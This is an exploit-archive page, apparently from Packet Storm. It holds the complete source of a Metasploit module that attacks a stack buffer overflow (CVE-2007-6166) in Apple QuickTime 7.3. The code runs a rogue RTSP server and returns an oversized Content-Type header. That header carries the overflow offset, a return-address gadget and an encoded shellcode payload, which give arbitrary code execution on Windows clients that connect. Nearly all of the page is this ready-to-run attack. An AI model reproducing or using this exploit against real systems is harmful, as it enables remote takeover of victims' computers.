exploit the possibilities

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
systems | apple
advisories | CVE-2007-6166
MD5 | 53ef97f1a29b0a357f71238f64bf8af4

Apple QuickTime 7.3 RTSP Response Header Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Apple QuickTime 7.3. By sending an overly long
RTSP response to a client, an attacker may be able to execute arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-6166' ],
[ 'OSVDB', '40876' ],
[ 'BID', '26549' ],
[ 'URL', 'http://milw0rm.com/exploits/4648' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
],
'Privileged' => false,
'DisclosureDate' => 'Nov 23 2007',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

client.get_once

buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)

strname = rand_text_alpha(rand(75) + 1)
date = Time.now
num = rand(1).to_s

header = "RTSP/1.0 200 OK\r\n"
header << "CSeq: 1\r\n"
header << "Date: #{date}\r\n"
header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
header << "Content-Type: #{buffer}\r\n"
header << "Content-Length: #{strname.length}\r\n\r\n"

body = "v=#{num}\r\n"
body << "o=#{strname}\r\n"
body << "s=#{strname}\r\n"
body << "i=#{strname}\r\n"
body << "t=#{num}\r\n"
body << "a=tool:#{strname}\r\n"
body << "a=type:#{strname}\r\n"
body << "a=control:#{strname}\r\n"
body << "a=range:#{strname}\r\n"
body << "a=x-qt-text-nam:#{strname}\r\n"
body << "a=x-qt-text-inf:#{strname}\r\n"
body << "m=#{strname}\r\n"
body << "c=#{strname}\r\n"
body << "a=control:#{strname}\r\n"

sploit = header + body

print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

client.put(sploit)
handler(client)

service.close_client(client)
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

January 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    8 Files
  • 2
    Jan 2nd
    11 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    2 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    18 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    10 Files
  • 10
    Jan 10th
    13 Files
  • 11
    Jan 11th
    2 Files
  • 12
    Jan 12th
    4 Files
  • 13
    Jan 13th
    21 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    12 Files
  • 16
    Jan 16th
    18 Files
  • 17
    Jan 17th
    11 Files
  • 18
    Jan 18th
    3 Files
  • 19
    Jan 19th
    2 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    21 Files
  • 22
    Jan 22nd
    19 Files
  • 23
    Jan 23rd
    19 Files
  • 24
    Jan 24th
    8 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close